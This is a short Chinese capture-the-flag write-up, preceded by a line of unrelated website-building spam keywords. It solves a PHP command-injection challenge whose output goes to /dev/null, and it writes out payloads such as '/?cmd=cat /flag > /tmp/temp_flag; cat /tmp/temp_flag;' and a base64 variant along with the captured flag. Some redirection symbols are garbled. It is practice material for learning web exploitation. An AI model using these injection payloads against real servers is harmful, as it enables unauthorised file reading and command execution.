大良做网站的公司,房产网站排行,手机可以做软件开发吗,水头哪里有做网站的开启靶场#xff0c;打开链接#xff1a; GET传参cmd
system($cmd./dev/null 21);
这行代码将执行命令 $cmd#xff0c;并且将其标准输出和标准错误输出都重定向到 /dev/null#xff0c;这意味着无论命令的输出还是可能产生的错误信息都不会显示…开启靶场打开链接 GET传参cmd
system($cmd./dev/null 21);
这行代码将执行命令 $cmd并且将其标准输出和标准错误输出都重定向到 /dev/null这意味着无论命令的输出还是可能产生的错误信息都不会显示出来 /dev/null 是一个输出重定向它把标准输出重定向到 /dev/null这样就不会有输出出现在屏幕上。
21 是另一个重定向操作它把标准错误输出复制到之前的标准输出位置即 /dev/null这样标准错误也不会出现在屏幕上。 可以尝试将cat /flag的输出重定向到一个临时文件中然后再通过其他命令读取这个临时文件的内容
1、创建临时文件
cat /flag /tmp/temp_flag
2、读取临时文件内容
cat /tmp/temp_flag
3、将这两个命令组合起来可以构造如下命令
cat /flag /tmp/temp_flag; cat /tmp/temp_flag;
4、构造payload
/?cmdcat /flag /tmp/temp_flag; cat /tmp/temp_flag; 成功得到flag
NSSCTF{bcc499e2-7305-4f60-9c5b-6280b8889896} 当然还有一种思路
使用base64命令将/flag的内容编码成Base64格式然后通过管道输出。由于base64编码会将输出转换成ASCII格式可以通过网络更容易地传输。
1、将内容编码为Base64
cat /flag | base64
2、构造payload
/?cmdcat /flag | base64; 一样成功得到flag